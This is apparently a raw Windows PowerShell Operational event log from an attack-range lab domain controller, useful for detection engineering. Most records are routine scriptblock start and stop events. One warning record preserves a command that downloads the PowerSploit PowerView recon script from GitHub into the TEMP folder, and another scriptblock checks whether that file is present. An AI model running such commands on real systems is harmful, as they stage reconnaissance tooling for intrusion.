RecordNumber=1478295
Keywords=None
Message=PowerShell console is starting up
06/15/2021 05:06:05 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478294
Keywords=None
Message=Started invocation of ScriptBlock ID: 1ef9c228-b78e-4897-b91e-9c995c7fd3bc
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:05 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478293
Keywords=None
Message=Completed invocation of ScriptBlock ID: 62c73b10-ce47-4819-a622-55e5c86121c9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:05 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478292
Keywords=None
Message=Started invocation of ScriptBlock ID: 62c73b10-ce47-4819-a622-55e5c86121c9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:05 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478291
Keywords=None
Message=Completed invocation of ScriptBlock ID: 62c73b10-ce47-4819-a622-55e5c86121c9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:05 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478290
Keywords=None
Message=Started invocation of ScriptBlock ID: 62c73b10-ce47-4819-a622-55e5c86121c9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:05 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478289
Keywords=None
Message=Completed invocation of ScriptBlock ID: d8b2c5a7-15db-4656-8a13-36c4cff94b52
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:05 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478288
Keywords=None
Message=Started invocation of ScriptBlock ID: d8b2c5a7-15db-4656-8a13-36c4cff94b52
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:05 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478287
Keywords=None
Message=Completed invocation of ScriptBlock ID: 62c73b10-ce47-4819-a622-55e5c86121c9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:05 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478286
Keywords=None
Message=Started invocation of ScriptBlock ID: 62c73b10-ce47-4819-a622-55e5c86121c9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:05 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478285
Keywords=None
Message=Completed invocation of ScriptBlock ID: 93d779ef-941d-4e00-98f9-278cc93e6e44
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:05 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478284
Keywords=None
Message=Started invocation of ScriptBlock ID: 93d779ef-941d-4e00-98f9-278cc93e6e44
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:05 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478283
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1ef9c228-b78e-4897-b91e-9c995c7fd3bc
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:05 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478282
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2a657057-bf2a-430b-a391-e846fbfbb300
Runspace ID: 06b3f685-143f-44a0-a8be-d2825897c855
06/15/2021 05:06:05 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478281
Keywords=None
Message=Completed invocation of ScriptBlock ID: ab5d4a02-39cc-45cc-9ebb-713a75c6ce40
Runspace ID: 06b3f685-143f-44a0-a8be-d2825897c855
06/15/2021 05:06:05 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478280
Keywords=None
Message=Completed invocation of ScriptBlock ID: 76f1a405-4a7e-4d00-a250-147eb50142b8
Runspace ID: 06b3f685-143f-44a0-a8be-d2825897c855
06/15/2021 05:06:05 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478279
Keywords=None
Message=Started invocation of ScriptBlock ID: 76f1a405-4a7e-4d00-a250-147eb50142b8
Runspace ID: 06b3f685-143f-44a0-a8be-d2825897c855
06/15/2021 05:06:05 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478278
Keywords=None
Message=Started invocation of ScriptBlock ID: ab5d4a02-39cc-45cc-9ebb-713a75c6ce40
Runspace ID: 06b3f685-143f-44a0-a8be-d2825897c855
06/15/2021 05:06:05 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4104
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Execute a Remote Command
OpCode=On create calls
RecordNumber=1478277
Keywords=None
Message=Creating Scriptblock text (1 of 1):
{if (Test-Path $env:TEMP\PowerView.ps1) {exit 0} else {exit 1}}
ScriptBlock ID: ab5d4a02-39cc-45cc-9ebb-713a75c6ce40
Path:
06/15/2021 05:06:05 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478276
Keywords=None
Message=Started invocation of ScriptBlock ID: 2a657057-bf2a-430b-a391-e846fbfbb300
Runspace ID: 06b3f685-143f-44a0-a8be-d2825897c855
06/15/2021 05:06:05 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4104
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Execute a Remote Command
OpCode=On create calls
RecordNumber=1478275
Keywords=None
Message=Creating Scriptblock text (1 of 1):
& {if (Test-Path $env:TEMP\PowerView.ps1) {exit 0} else {exit 1}}
ScriptBlock ID: 2a657057-bf2a-430b-a391-e846fbfbb300
Path:
06/15/2021 05:06:05 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=40962
EventType=4
Type=Information
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=PowerShell Console Startup
OpCode=Stop
RecordNumber=1478274
Keywords=None
Message=PowerShell console is ready for user input
06/15/2021 05:06:05 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=53504
EventType=4
Type=Information
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=PowerShell Named Pipe IPC
OpCode=Open (async)
RecordNumber=1478273
Keywords=None
Message=Windows PowerShell has started an IPC listening thread on process: 7456 in AppDomain: DefaultAppDomain.
06/15/2021 05:06:05 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=40961
EventType=4
Type=Information
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=PowerShell Console Startup
OpCode=Start
RecordNumber=1478272
Keywords=None
Message=PowerShell console is starting up
06/15/2021 05:06:05 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478271
Keywords=None
Message=Started invocation of ScriptBlock ID: 1ef9c228-b78e-4897-b91e-9c995c7fd3bc
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:05 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478270
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1ef9c228-b78e-4897-b91e-9c995c7fd3bc
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:05 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478269
Keywords=None
Message=Completed invocation of ScriptBlock ID: b3f73628-e8c6-4da5-b9bc-0263ca39192a
Runspace ID: 28137c09-3484-42fe-8458-ca9fd0ddf20c
06/15/2021 05:06:05 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478268
Keywords=None
Message=Started invocation of ScriptBlock ID: b3f73628-e8c6-4da5-b9bc-0263ca39192a
Runspace ID: 28137c09-3484-42fe-8458-ca9fd0ddf20c
06/15/2021 05:06:05 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4104
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Execute a Remote Command
OpCode=On create calls
RecordNumber=1478267
Keywords=None
Message=Creating Scriptblock text (1 of 1):
$global:?
ScriptBlock ID: b3f73628-e8c6-4da5-b9bc-0263ca39192a
Path:
06/15/2021 05:06:05 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478266
Keywords=None
Message=Completed invocation of ScriptBlock ID: 0f7877f5-b9ae-4ce1-b67c-0f2c38fbc268
Runspace ID: 28137c09-3484-42fe-8458-ca9fd0ddf20c
06/15/2021 05:06:05 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478265
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2f799c52-8d1c-4eda-ac6c-50cf709fd844
Runspace ID: 28137c09-3484-42fe-8458-ca9fd0ddf20c
06/15/2021 05:06:05 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478264
Keywords=None
Message=Completed invocation of ScriptBlock ID: becad337-3722-4436-9010-d0181cf2afcd
Runspace ID: 28137c09-3484-42fe-8458-ca9fd0ddf20c
06/15/2021 05:06:05 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478263
Keywords=None
Message=Completed invocation of ScriptBlock ID: 3c8e7240-4606-44cf-aa1d-52c572b44c89
Runspace ID: 28137c09-3484-42fe-8458-ca9fd0ddf20c
06/15/2021 05:06:05 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478262
Keywords=None
Message=Started invocation of ScriptBlock ID: 3c8e7240-4606-44cf-aa1d-52c572b44c89
Runspace ID: 28137c09-3484-42fe-8458-ca9fd0ddf20c
06/15/2021 05:06:05 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4104
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Execute a Remote Command
OpCode=On create calls
RecordNumber=1478261
Keywords=None
Message=Creating Scriptblock text (1 of 1):
{ Set-StrictMode -Version 1; $_.OriginInfo }
ScriptBlock ID: 3c8e7240-4606-44cf-aa1d-52c572b44c89
Path:
06/15/2021 05:06:05 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478260
Keywords=None
Message=Completed invocation of ScriptBlock ID: a802ff4b-de3c-4686-be9f-01fa5d91b83d
Runspace ID: 28137c09-3484-42fe-8458-ca9fd0ddf20c
06/15/2021 05:06:05 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478259
Keywords=None
Message=Started invocation of ScriptBlock ID: a802ff4b-de3c-4686-be9f-01fa5d91b83d
Runspace ID: 28137c09-3484-42fe-8458-ca9fd0ddf20c
06/15/2021 05:06:05 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4104
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Execute a Remote Command
OpCode=On create calls
RecordNumber=1478258
Keywords=None
Message=Creating Scriptblock text (1 of 1):
{ Set-StrictMode -Version 1; $_.ErrorCategory_Message }
ScriptBlock ID: a802ff4b-de3c-4686-be9f-01fa5d91b83d
Path:
06/15/2021 05:06:05 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478257
Keywords=None
Message=Completed invocation of ScriptBlock ID: 6300a935-393c-479f-9cf0-a0095a8370ac
Runspace ID: 28137c09-3484-42fe-8458-ca9fd0ddf20c
06/15/2021 05:06:05 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478256
Keywords=None
Message=Completed invocation of ScriptBlock ID: 0c071910-2763-43bf-9f6c-a573d277710a
Runspace ID: 28137c09-3484-42fe-8458-ca9fd0ddf20c
06/15/2021 05:06:05 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478255
Keywords=None
Message=Completed invocation of ScriptBlock ID: 6e0bf2cf-03bf-4e0d-889a-d1518cc0f912
Runspace ID: 28137c09-3484-42fe-8458-ca9fd0ddf20c
06/15/2021 05:06:05 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478254
Keywords=None
Message=Started invocation of ScriptBlock ID: 6e0bf2cf-03bf-4e0d-889a-d1518cc0f912
Runspace ID: 28137c09-3484-42fe-8458-ca9fd0ddf20c
06/15/2021 05:06:05 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4104
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Execute a Remote Command
OpCode=On create calls
RecordNumber=1478253
Keywords=None
Message=Creating Scriptblock text (1 of 1):
{ Set-StrictMode -Version 1; $this.Exception.InnerException.PSMessageDetails }
ScriptBlock ID: 6e0bf2cf-03bf-4e0d-889a-d1518cc0f912
Path:
06/15/2021 05:06:05 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478252
Keywords=None
Message=Started invocation of ScriptBlock ID: 0c071910-2763-43bf-9f6c-a573d277710a
Runspace ID: 28137c09-3484-42fe-8458-ca9fd0ddf20c
06/15/2021 05:06:05 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478251
Keywords=None
Message=Started invocation of ScriptBlock ID: 6300a935-393c-479f-9cf0-a0095a8370ac
Runspace ID: 28137c09-3484-42fe-8458-ca9fd0ddf20c
06/15/2021 05:06:05 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4104
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Execute a Remote Command
OpCode=On create calls
RecordNumber=1478250
Keywords=None
Message=Creating Scriptblock text (1 of 1):
{ Set-StrictMode -Version 1; $_.PSMessageDetails }
ScriptBlock ID: 6300a935-393c-479f-9cf0-a0095a8370ac
Path:
06/15/2021 05:06:05 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478249
Keywords=None
Message=Started invocation of ScriptBlock ID: becad337-3722-4436-9010-d0181cf2afcd
Runspace ID: 28137c09-3484-42fe-8458-ca9fd0ddf20c
06/15/2021 05:06:05 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478248
Keywords=None
Message=Completed invocation of ScriptBlock ID: 882e6e1c-bc14-4b79-be55-5c6ddce3741e
Runspace ID: 28137c09-3484-42fe-8458-ca9fd0ddf20c
06/15/2021 05:06:05 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478247
Keywords=None
Message=Started invocation of ScriptBlock ID: 882e6e1c-bc14-4b79-be55-5c6ddce3741e
Runspace ID: 28137c09-3484-42fe-8458-ca9fd0ddf20c
06/15/2021 05:06:05 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4100
EventType=3
Type=Warning
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Executing Pipeline
OpCode=To be used when an exception is raised
RecordNumber=1478246
Keywords=None
Message=Error Message = The request was aborted: Could not create SSL/TLS secure channel.
Fully Qualified Error ID = WebCmdletWebResponseException,Microsoft.PowerShell.Commands.InvokeWebRequestCommand
Context:
Severity = Warning
Host Name = ConsoleHost
Host Version = 5.1.14393.4402
Host ID = c3ed4fff-3f58-4a9c-9771-1818a5dfdf46
Host Application = C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe & {Invoke-WebRequest "https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f94a5d298a1b4c5dfb1f30a246d9c73d13b22888/Recon/PowerView.ps1" -OutFile "$env:TEMP\PowerView.ps1"}
Engine Version = 5.1.14393.4402
Runspace ID = 28137c09-3484-42fe-8458-ca9fd0ddf20c
Pipeline ID = 1
Command Name = Invoke-WebRequest
Command Type = Cmdlet
Script Name =
Command Path =
Sequence Number = 15
User = ATTACKRANGE\administrator
Connected User =
Shell ID = Microsoft.PowerShell
User Data:
06/15/2021 05:06:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478468
Keywords=None
Message=Started invocation of ScriptBlock ID: a85bed97-9bbb-4097-beff-9d8cef80286e
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478467
Keywords=None
Message=Completed invocation of ScriptBlock ID: 29c2e87f-d893-446d-9fe4-e07bf489d300
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478466
Keywords=None
Message=Completed invocation of ScriptBlock ID: 96c9fa28-5752-4028-87a6-893baac490be
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478465
Keywords=None
Message=Started invocation of ScriptBlock ID: 96c9fa28-5752-4028-87a6-893baac490be
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478464
Keywords=None
